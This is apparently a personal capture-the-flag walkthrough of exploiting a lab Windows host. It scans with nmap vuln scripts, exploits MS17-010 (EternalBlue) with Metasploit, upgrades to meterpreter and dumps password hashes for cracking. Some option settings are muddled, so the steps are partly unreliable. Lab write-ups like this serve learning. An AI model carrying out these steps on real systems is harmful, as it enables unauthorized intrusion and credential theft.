1.Scanning the device:

# nmap -sV -vv --script vuln 10.10.41.182

This command utilizes the **nmap** tool, a network scanning and security auditing utility, with the following options:

* **-sV**: This option instructs **nmap** to perform version detection against the target hosts. It attempts to determine the version of services running on the open ports.
* **-vv**: This option increases the verbosity level of the output, providing more detailed information about the scan.
* **--script vuln**: This option specifies that **nmap** should use the **vuln** script, which is part of the Nmap Scripting Engine (NSE). This script is designed to detect vulnerabilities in the target system by performing various tests and checks against known vulnerabilities.

🡪How many ports are open with a port number under 1000?

3—(from nmap scan)

Now that I’ve found that ms17 is vulnerable, search for it:

🡪 search ms17-010

* Use 0, I picked eternal blue because it was average not normal
* SET RHOSTS {MY IP\_ADDRESS}
* Set tun0
* Set lhosts tun0
* Run
* NOW WE HAVE GAINED ACCESS.
* ---ctrl+z
* Search shell\_to\_meterpreter
* post/multi/manage/shell\_to\_meterpreter
* use 0 to pick it
* set session 1
* run
* getuid-🡪 to check your authority
* ps🡪 to check out the processes, to know where we can migrate to..

Use hashdump and crackstation to get the cleartext from hash